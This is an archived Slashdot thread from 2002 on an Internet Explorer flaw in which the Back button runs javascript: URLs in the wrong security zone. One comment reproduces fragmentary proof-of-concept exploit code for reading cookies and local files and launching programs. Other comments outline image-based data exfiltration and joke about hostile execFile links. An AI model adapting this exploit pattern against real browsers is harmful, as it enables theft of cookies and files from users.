Slashdot Mirror


Don't Hit That Back Button

Saint Aardvark writes: "From the Bugtraq mailing list comes this warning: 'Using the Back Button in IE is dangerous'. When hitting the back button, javascript links will be executed in the security zone of the last url viewed. Proof-of-concept included in the warning will execute minesweeper or read your Google cookies."

48 of 640 comments (clear)

  1. Go Mozilla! by Anonymous Coward · · Score: 3, Insightful

    With every passing week, MS gives us more and more reasons not to use their POS browser. Whereas Mozilla is quickly becoming the undisputed king; tabbed browsing, filtering popups, better security options, and .. oh yeah, it's open source.

    Take that, Microsoft. ;-)

  2. On a (somewhat) related topic... by webword · · Score: 4, Interesting

    Attack of the Back Button -- "Getting stuck on a web page can be painful. The back button doesn't always work. While there are many ways to escape from web pages, many users don't know the tricks. A company can stop hurting users by doing more testing, using proper development methods, and being aware of the issue."

    1. Re:On a (somewhat) related topic... by WhaDaYaKnow · · Score: 5, Funny

      users who get stuck on pages simply close the browser window.

      Which is exactly what you want because this generates an onunload event. At which point you can open a new window, which should preferably load a pop-under window, which has a hidden Flash object that plays a very loud siren.

      Then when the user moves the mouse cursor outside of the window, you maximize the window and load a duplicate pop-under, which also plays the siren. Because although one siren is good, two sirens are better.

      Now that you start getting the attention of the user, you load a full screen pop-up window, without borders, and in this window you will load an images to make it look exactly like a browser.

      In the meantime the volume on the (hidden) Flash players should have increased to the absolute maximum, and you could even consider switching one over to a screaming cat. (Obviously the onunload handlers for the pop-under windows should open AT LEAST two pop-under of similar quality.)

      Back to the front page,- now that you have full control over the browser look and feel, you can conveniently move any 'close' or 'back' buttons out of the way as soon as the mouse pointer gets too close.

      At this point in time, you have increased the chances of getting a credit card number out of the user significantly, so it's up to you to present the user with the ability to enter their information.

      The best way to achieve this is to just have the text box that you want filled out follow the mouse. Not all users are very smart, so keep what you want done obvious.

      Once the information is obtained, change the page to read something among the lines that the user should absolutely NOT attempt to do anything, but most of all, not close any windows!, because his credit card may be charged twice.

      After a last check that all pop-unders with screaming Flash players are still going strong, you are now done.

    2. Re:On a (somewhat) related topic... by jesser · · Score: 4, Insightful

      Hotmail does not have this problem. Netscape webmail does not have this problem. It's a bug in your code, and I bet you would have saved time by fixing it rather than trying to "teach" your users how to work around it.

      --
      The shareholder is always right.
    3. Re:On a (somewhat) related topic... by Skweetis · · Score: 3, Interesting

      Actually, it may not be a bug. His webmail program may use POST instead of GET to pass data between screens. This is more secure than using GET (remember the Hotmail bug where you could read anyone else's mail by figuring out the URL to it? That was a GET problem.) Most browsers don't handle POST all that well when navigating through cached pages. Although this is really a browser issue, you are correct in that he could probably adjust his webmail to compensate if he is clever.

  3. This doesn't worry me. by Anonymous Coward · · Score: 4, Funny

    I don't have anything special in my Google cookies and I like to play minesweeper.

  4. How far can you exploit this? by Agelmar · · Score: 3, Interesting

    Would a vulnerability still exist if a user wrote a page that redirected the browser to some page with malicious code in the target, and then, with a little bit of javascript set the location to javascript:history.back() (i.e. on mouse movement or whatever). Would this cause the javascript to run under the improper security settings, or does the user actually have to hit the "back" button?

  5. Re:Using Linux considered harmful by Anonymous Coward · · Score: 5, Funny
    Linux advocacy on IRC, in a nutshell:

    Q: Internet Explorer has a lot of security bugs. What do I do?

    A: Install Mozilla.

    Q: Windows has a lot of security bugs. What do I do?

    A: Install Linux.

    Q: Somebody cracked into my default installation of Red Hat 6.2. What do I do?

    A: Didn't you RTFM? Everybody knows that you have to keep patching the system to keep people out of it! Why don't you go to Windows, dumbass?

  6. Unfair to release the advisory before fix... by NoMoreNicksLeft · · Score: 5, Funny

    If they had waited til tomorrow, they'd have known about M$'s fix for this dangerous security hole. SP3 for IE6 patches it up fine though. That's right, when you mouseover the back button, a popup text alerts you that it might be dangerous (that M$ can't be held responsible for damages resulting from its use?). Also, the "Safe Back Button" is now next to it, but to get it out the door in time, they've had to rush. Yes folks, it uses the exact same codebase as the back button, and no, I don't see that as a problem. Besides, if it is, they'll fix it with SP4, and the "Really Safe Back Button". Right along side the other two, for backward compatibility.

  7. Re:Java's been crashing IE of late by evil_one · · Score: 3, Insightful

    My roommate had IE crash on any site that used Javascript. Then I removed the spyware from his computer. Wow... what a difference.

    --
    Desperation is a stinky cologne
  8. Test it out if you have IE by ekrout · · Score: 5, Informative

    I copied the source from the (now Slashdotted) page and created an HTML file at http://www.eg.bucknell.edu/~ekrout/IE_Hack.html for those of you with IE to test it out. If you want, reply to this post and let everyone know if it works with your browser, Windows version, etc.

    This is a very troubling security hole for Windows users who prefer IE (99.7% of them).

    Founder, monolinux

    --

    If you celebrate Xmas, befriend me (538
    1. Re:Test it out if you have IE by 56ker · · Score: 4, Funny

      Mind you - I'm sure there's some IE users who've never figured out what the buttons do yet! ;o)

    2. Re:Test it out if you have IE by sconeu · · Score: 3, Informative

      I have the patch for MS02-015 (Q319182) installed, and Minesweeper fired up.

      --
      General Relativity: Space-time tells matter where to go; Matter tells space-time what shape to be.
    3. Re:Test it out if you have IE by Waffle+Iron · · Score: 3, Interesting
      by the way, the 'please close all aplications and restart your computer' error window really cracks me up when the app was run under wine in the first place.

      That's what I love about using Win4Lin:

      "Windows needs to restart in order to complete your request to change the default window frame color. Press OK to restart."

      I press OK, and Win98 "reboots" in 7 seconds flat.

    4. Re:Test it out if you have IE by SomeGuyFromCA · · Score: 3, Informative

      it still worked even after I changed the default security level for Local Intranet to High

      That's because this doesn't work off local intranet, it works off local hard drive; files on your hard drive are automatically ran without safeties, and MICROS~1 does not offer any option to change this.

      --
      if the answer isn't violence, neither is your silence / freedom of expression doesn't make it alright
    5. Re:Test it out if you have IE by Alsee · · Score: 3, Informative

      TESTED AND VERIFIED UNDER GAMESPY ARCADE

      This vulnerability affects applications which integrate IE functionality!

      Gamespy "GameSpy Arcade is the #1 online gaming service... Support for over 300 of the leading games and demos".

      -

      --
      - - You can't take something off the Internet! That's like trying to take pee out of a swimming pool.
  9. My company's solution to IE by Ali+Jenab · · Score: 4, Interesting
    It's been almost five years since Microsoft released their first acknowledgement of a security vulnerability in Internet Exploder. I remember the day that happened clearly; if only I had the foresight at the time to see that the same exact scene would play out, on the average, once every two weeks for the next five years. I could have avoided disaster for my company.

    Back in 1999, when the dot-coms were flying high and my company resembled an Internet startup (although we had been in business since 1992), we hastily set up new offices and cubicles with little regard for information security. After all, what was the worst that could happen - an email worm? Well, we quickly found out: a malicious hacker had targeted our company, and sent an email to "all @" my domain containing a link to a supposed Yahoo News story. Unfortunately, this link sent the employees to a malicious site that caused their insecure IE browsers to yield control of nearly every Windows PC in the company to the intruder. They stole and destroyed much important data, and took over a week of nonstop unpaid overtime to fix things.

    A few weeks after the incident, our vice president of operations mandated a Mozilla-only policy. Employees were forbidden from running IE, Lynx (another notoriously insecure browser), and Konqueror (which crashed constantly anyway). Since that time, we have had zero browser related security issues, and employees waste far less time surfing the web, mainly because a lot of time-wasting sites only work in Microsoft standards-compliant browsers. Converting to Mozilla has been a win-win situation, and I fully expect the same to be happening across America after this latest IE security breach. Enough is enough; we need to take back control of our networks.

    /ali

    1. Re:My company's solution to IE by civilizedINTENSITY · · Score: 3

      uh-oh...what about lynx? First I'd heard about lynx having security issues...could someone fill me in?

  10. This catch anyone's eye? by Omerna · · Score: 4, Insightful

    "Microsoft contacted 12 Nov 2001, additional information given 25 Mar 2002."

    That's pretty long time (5-6 months, too lazy to figure out the actual number of days etc.) that Microsoft has done nothing (at least not a fix). Especially because this overlaps the time when they decided to make their people go to security workshops (or some such). If they can't even fix a known, reported bug in the security how can they find them on their own and fix them? Or not write them in the future?

    Oh yeah, it'd be nice to know if I can get around this by doing "right-click" / "back" or if that is affected and not JUST the toolbar.

    --


    No sig for you.
    1. Re:This catch anyone's eye? by ukryule · · Score: 3, Insightful

      "Microsoft contacted 12 Nov 2001, additional information given 25 Mar 2002."

      Well that links in well with the memo Bill Gates sent on January 15th. What was it he said?

      "We have done a great job of having teams work around the clock to deliver security fixes for any problems that arise. Our responsiveness has been unmatched ..."
      Hmm - that was before the new emphasis on security ...
      "If we discover a risk that a feature could compromise someone's privacy, that problem gets solved first."

      Given those comments, how can they not have done anything about this? Doesn't sound like a fundamental problem that would take a massive effort to fix.

    2. Re:This catch anyone's eye? by iabervon · · Score: 3, Funny

      MicroSoft said they were stopping all other work while they found and fixed security holes lurking undiscovered in their software. They're obviously not going to take time out of this important project to fix known security holes. Things like releasing patches and applying them to their websites will have to wait until the entire codebase has been carefully examined.

  11. Back buttons by 56ker · · Score: 3, Funny

    " 'Using the Back Button in IE is dangerous'." - since when was using anything in IE safe? ;o)

  12. Go Mozilla Anyways! by KagatoLNX · · Score: 4, Insightful

    Bench the latest Mozilla build (turn off debugging and turn on optimization, just like a normal release build) and post that again. Of course, to really shine, run it on Linux or a free BSD.

    Seriously, it's fast and its implementation of little things like CSS (which as far as I'm concerned is the future of online content) is light years ahead if IE anyways.

    Then again, you might be interested to know that as of IE 5.5, IE was backported from the Macintosh version. That's right, the MS-IE-Mac-port team did it so much better that they backported it to Windows. That's where the speed and decent standards support came from!

    I think that this goes to show that Microsoft doesn't re-write something from scratch on purpose. They had to force their Mac team to basically do so (because, like, it's IE not on Windows, you have to redo a bunch of stuff) before they figured out that they needed to reimplement. The sad thing is that they don't seem to be willing to do it where it counts, no matter how "security focused they become" they don't ever figure out that it's impossible to effectively rewrite Windows "a piece at a time".

    --
    I think Mauve has the most RAM. --PHB (Dilbert Comic)
  13. Re:Java's been crashing IE of late by asv108 · · Score: 5, Informative
    Java is insecure

    I think your reffering to JavaScript orginally called livescript by Netscape before the Java buzz hit. JavaScript has nothing to do with Java. Java is relatively secure by most standards.

  14. yay for NAI by diesel_jackass · · Score: 4, Interesting

    http://diesel.2y.net/mine.htm

    my McAfee VirusScan already checks for this bug.

  15. RTFE (exploit) by gartogg · · Score: 5, Informative

    If you read the exploit, you would see why this would not be possible.

    You do not need to actually press the button, but you need to do it from a trusted page.

    --
    I'm a concientious .sig objector.
  16. yearning for the past by Faust7 · · Score: 4, Insightful

    When I spent hours in labs browsing with Netscape 2.0...

    When a webpage wasn't something you had to figure out how to escape...

    When 'Back' meant back...

    When there was just smooth uninterrupted navigation, and no pop-ups or banners...

    When people could say pretty much say anything anywhere, no DMCA...

    ... remember that?

  17. If MS had acted... any number of times... by Wee · · Score: 5, Informative
    If they had waited til tomorrow, they'd have known about M$'s fix for this dangerous security hole.

    If MS had responded back in November when he made the sploit known, or if they had even thought once about security when designing IE, or if they had any kind of decent security model in the OS, or, or, or... then this never would have happened in the first place and MS wouldn't have to patch the barn door after the horse had left. But don't blame the guy who discovered this by trotting out that "don't tell anyone about the security hole until the vendor can fix it" pablum. Security through obscurity isn't, especially when that obscurity is driven my the needs of the marketing group.

    You find a hole, you do due dilligence, they don't respond (he gave them months to fix it fer cryin' out loud), you publish. Then, most likely, the vendor publishes a fix based on the real needs of users and not the perceived needs of some business unit looking at a bottom line.

    It boggles my mind that one could have a machine rooted simply by browsing the web. A die-hard MS nut at work today was giving me grief over the fact that Red Hat has "published" 500MB of "updates" to "Linux" since version 6.2 and how could the OS be so insecure as to need that many updates... I didn't even have the energy to respond. And I'm all for people running with whatever works for them, but at least I know for a fact that Opera on my machine runs in userland and won't get me rooted. And hopefully, using your favorite browser won't mean data loss and/or a re-image of the OS as well.

    But to blame the guy who discovered it? I mean, honestly, for fsck's sake: we're talking about a web browser, you know? Completely compromising a machine via a back button? And it's been known for five months?!? At least MS could tell users to run another browser until they can fix the issue. Or turn scripting off. Or whatever. The fact that it could happen in the first place is just obscene. Or criminal. MS leaves a bad taste in my mind sometimes...

    -B

    --

    Ash and Hickory, straight-grained and true, make excellent bludgeons, dandy for the cudgeling of vegetarians.

  18. Used to be in Mozilla by jesser · · Score: 4, Interesting

    I found the same bug in Mozilla last summer while I was working at Netscape. My boss fixed it within a week, so versions after Mozilla 0.9.3 did not have the bug. It was bug 88167 if you're interested. I'm not sure why I didn't notice that IE was vulnerable as well. Anyone want to go through old Mozilla security holes and see how many of them affect IE 6?

    Anyway, keep using that Back button. If you're using IE to browse warez/porn, you have more to worry about than someone looking at your cookie for another site. An attacker could just copy the IE exploit of the week from
    http://jscript.dk/unpatched/. I believe that page has had current IE security holes that allow running arbitrary instructions for two months straight. (That means you can keep up with the latest IE patches, but if an attacker reads jscript.dk and can get you to click a link in AIM or read a message in OE, the attacker wins.)

    By the way, what's with IE turning every cross-domain hole into a full remote compromise by letting sites link to res: urls? Current versions of Mozilla block links to chrome/res and even file, so a cross-domain hole doesn't even let sites read local files.

    --
    The shareholder is always right.
  19. Re:A complete list by mrogers · · Score: 5, Funny
    Other then just clicking on the MS link, is there a site devoted just to the fuckups of MS?

    Yes there is, and you're looking at it right now.

  20. Re:What are the odds... by SaDan · · Score: 5, Informative
    Read the Bugtraq submission!

    Title: Using the backbutton in IE is dangerous.
    Date: [2002-04-15]
    Software: At least Internet Explorer 6.0.
    Tested env: Windows 2000 pro, XP.
    Rating: Medium because user interaction is needed.
    Impact: Read cookies/local files and execute code
    (triggered when user hits the back button).
    Patch: None.
    Vendor: Microsoft contacted 12 Nov 2001, additional
    information given 25 Mar 2002.
    Workaround: Disable active scripting or never
    use the back button.
    Author: Andreas Sandblad, sandblad@acc.umu.se
    MS was notified late last year... Just over five months ago.

    Read, people... Read, then make comments. It's not that difficult.

  21. Quick patch for the bug by cscx · · Score: 5, Funny

    Here is a way do disable this nasty bug. It should work in all affected versions of IE:

    1. Right click the toolbar, and select "Customize"

    2. Select "Back" in the list marked "Current toolbar buttons"

    3. Click the "Remove" button.

    4. Click close.

    There! Now that bug has been squashed. I suggest you implement this in all corporate deployments of IE pronto.

    1. Re:Quick patch for the bug by nzhavok · · Score: 3, Funny

      I'm undecided on whether this is "Funny" or "Informative".

      --

      He who defends everything, defends nothing. -- Fredrick The Great
  22. Is there a real exploit here? by Chuck+Chunder · · Score: 5, Insightful

    Even if an executable were encoded in the link would the end user not be simply warned that they are attempting to download an executable, as with any other URL that served them an executable?

    It's only a security hole if delivering the content via the data URL is treated differently than getting it via an http, ftp or javascript one.

    --
    Boffoonery - downloadable Comedy Benefit for Bletchley Park
    1. Re:Is there a real exploit here? by phyxeld · · Score: 3, Informative

      Look at the exploit code.

      See how the script calls an alert() with the contents of a local file from your drive? Thats very very bad.

      If a remote script can read a file off your hard drive, it can then write bits of data into an img tag on the page, passing your stolen information to a remote server (via the image's src element) without your knowledge. Very very bad.

      --
      __
      Choose mnemonic identifiers. If you can't remember what mnemonic means, you've got a problem. - Larry Wall
  23. Now if only all porn site admins would.... by coene · · Score: 5, Funny

    .. do a little something like this:

    <a href="javascript:execFile('file:///c:/winnt/system 32/net send * \"HI EVERYBODY IN THE OFFICE! I AM LOOKING AT PORN!\"')">CLICK FOR BOOBIES</a>

  24. heh by elmegil · · Score: 5, Funny

    Good thing security is MicroSoft's number one focus now!

    --
    7 November 2006: The day Americans realized corruption and incompetence weren't addressing 11 September 2001
  25. Trolling, or just blind stupid? by Anonymous Coward · · Score: 4, Insightful

    First off, had you bothered to do any research, RFC 2397 defines the data: URL scheme--this isn't some Mozilla debug thing, as you foolishly asserted. Second, you haven't actually demonstrated how this behaves differently from a normal URL. If you click http://this.is.a.url/ and the document at the end has a meta refresh to goatse.cx, how is that different from a data: URL (other than the data:URL being easier to spot)? Same deal with a shell script or .exe; it won't autorun any more than if you clicked on a link and got in through HTTP.

    I'm not sure whether you actually believe you've found a vulnerability, or are just trolling for Konqueror; either way, it illustrates the weakness of /. moderation in succumbing to a good line of BS.

  26. First LiveScript, then JavaScript, then ECMAScript by yerricde · · Score: 3, Informative

    I think you're referring to ECMAScript formerly called JavaScript

    First it was LiveScript, then when "Java" became a buzzword, Netscape changed its syntax to resemble that of a brace language (C, Perl, or the Java programming language) and changed its name to JavaScript. "ECMAScript" is the generic name, created when the underlying language (without any specific DOM) was submitted to the European standards body ECMA; "JavaScript" is Sun's trademark licensed to Netscape, reflected in the media type for ECMAScript source code (text/javascript).

    --
    Will I retire or break 10K?
  27. Re:A complete list by jesser · · Score: 4, Informative

    I wouldn't call this a "dumb ass bug". It's subtle, and finding it requires being aware of several things and thinking to combine them:

    * javascript: URLs run in the security domain of the page from which they originate. (Or, if they're stored in the user's bookmarks, they run as part of the current page, letting them do cool things like show the HTML source of the selection.)

    * If a javascript: URL returns a non-null value, it acts like a data: URL. For example, javascript:1+2;3+4 is equivalent to data:text/html,7. (Most of the time, this is just an annoyance, forcing you to put "void 0" at the end of a javascript: URL unless you're sure that the last calculation always returns null.)

    * It is possible to go "forward" from a javascript: URL.

    * The Back button incorrectly runs a javascript: URL in the security domain and context the current page instead of running it with no context or with the context of the page that put the URL in session history.

    The fact that the bug was present in both IE and Mozilla until Mozilla 0.9.3 is strong evidence that the hole is not an obvious "dumb ass bug". I only discovered the hole because I make bookmarlets (javascript: URLs) in my free time and was being paid by Netscape to work on Mozilla security last summer.

    --
    The shareholder is always right.
  28. One reason I love Opera by Arker · · Score: 5, Informative

    Opera cured that problem quite effectively. Since I started using it as my main browser, I can't remember finding a page where back wouldn't work properly. It ignores scripts that try to take it over, and it tracks documents-in-frames properly too, you can go forward and back independently in different frames on framed pages.

    --
    =-=-=-=-=-=-=-=-=-=-=-=-=-=-
    Friends don't let friends enable ecmascript.
  29. Omniweb --- Semi-Related by Amiasian · · Score: 3, Interesting

    I'm not sure about the other (commercial or open source) browsers. However, I use a Mac OS X Cocoa broswer, called Omniweb [http://www.omnigroup.com/products/omniweb/]. It has a feature where the user can stop loading individual parts of a page. For instance, say you're loading a page with 60 images. Normally, you'd click the stop or back button in a browser. In Omniweb, the text would still load - but you could stop loading some of the larger images.

  30. IE 5 for Mac OS X bug!!! by toupsie · · Score: 5, Funny

    Damn it! I went to the test page and tried all the links with the back button. Not one of them worked. Not a one. There is a bug in the bug when it comes to Mac OS X and Internet Explorer. Once again as a Mac user, I am getting deprived of the same experience that Windows users get with Internet Explorer.

    --
    Strange women lying in ponds distributing swords is no basis for a system of government.
  31. This is a major one ,, user interaction not needed by rahul_inblue · · Score: 5, Informative

    The flaw can be exploited *with out* user interaction ,, use about: and use a body-onload javascript to execute the back button ,, poc html page is attached. u know what this means :P .

    ----cut here---

    Press link and then the backbutton to trigger script.

    Run Minesweeper (c:/winnt/system32/calc.exe Win2000 pro)


    Run Minesweeper (c:/windows/system32/calc.exe XP, ME etc...)


    Read c:\test.txt (needs to be created)


    Read Google cookie

    // badUrl = "http://www.nonexistingdomain.se"; // Use if not XP
    badUrl = "about: ";
    function execFile(file){
    alert (badUrl);

    s = '';
    backBug(badUrl,s);
    }
    function readFile(file){
    s = '';
    backBug(badUrl,s);
    }
    function readCookie(url){
    s = 'alert(document.cookie);close();';
    backBug(url,s);
    }
    function backBug(url,payload){
    len = history.length;
    page = document.location;
    s = "javascript:if (history.length!="+len+") {";
    s+= "open('javascript:document.write(\""+payload+"\")' )";
    s+= ";history.back();} else 'location=\""+url
    s+= "\";document.title=\""+page+"\";';";
    location = s;
    }

    ---cut here---

    --
    _
  32. Re:hm by Kanon · · Score: 4, Informative
    2) I can disable the pop-under ads on sites I frequent by putting those sites into the "restricted" zone. Mozilla offers me no way to disable the popunders without completely disabling Javascript. (I'd rather have a option for "disable all javascript based popups", but at least IE gives me SOMETHING.)

    Get a newer version of mozilla and go into preferences/advanced/scripts and windows.

    Turn off the "open unrequested windows" tickbox. Bingo. You now have to click a link before the popup/under will open. Sites can't open them for you.

  33. Stupid is as stupid does. by BCTECH · · Score: 3, Informative

    I have not seen a popup add in years. I was not vulnerable to the .eml bugs. I laugh at websites that are blank for people like me who have java script turned off. I have always thought that Java Script, captive X etc were the scourge of the internet.

    Ever since we have had the option I have used the built in security functions of IE. Tools/Internet Options/Security

    Turn off everything for your internet zone. Add all your sites that you visit regularly to "Trusted Sites" and enable all the bells and wistles you want.

    If a site breaks because they have not done simple checks to see if you have java script enabled then screw them and move on to a site that is run by someone who has an element of style and thoroughness.

    Here is a wish list I do have for IE though. One power tool I have allows you to toggle images on and off with a click . I would like such a power tool that would enable/disable java script with a click and another to add trusted zones on the fly. If anyone out there has the coding capability I think you may have something.

    1. Re:Stupid is as stupid does. by leighklotz · · Score: 3, Informative

      Unfortunately, you are vulnerable to this one.

      The insidious thing about this bug is that it breaks your security model. When you press back, the page you go back to is run in the security zone of the page you go back from. So, even if block "everything" in the "Internet Zone" site, if the next page you visit is in your trusted zone and you press the back button, it will run ActiveX controls or pop up or whatever bells and whistles are allowed on the page you came from.

      Furthermore, note that Internet Explorer error pages (such a 404 Page Not Found) are automatically in the trusted zone. So, for you to be safe with your current policy, you need to do the following as well:

      1. Avoid the back button from trusted pages
      2. Don't click on broken links or anything else that gets an error page
  34. The problem is: it's a designflaw. by Otis_INF · · Score: 4, Insightful

    Buffer overflows... these are implementation-specific bugs and should be easily patchable. However, MS put a lot of functionality into IE (for the most part because it's bundled) and when you look at the separate parts of all this functionality, you don't see exploitable stuff. However, combining parts of the functionality CAN LEAD to a situation that wasn't forseen, and perhaps will lead to a vulnerability.

    It's easy to say "Crap!" but it takes a wicked mind to combine the right parts of the functionality of a program to create a hole, a mindset which is obviously not present under the IE designers. (but which should be though).

    As a true microsoftie I more and more begin to realize that the bundling should be undone, so the set of functionality build into the webbrowser is simply focussed on what it should do: rendering pages.

    Using another browser is not the answer however. The only browser that comes close to IE6 is Netscape/Mozilla, however these browsers are also packed with features you'll probably never need but CAN probably be used to create a hole when combined with other functionality in the program.

    --
    Never underestimate the relief of true separation of Religion and State.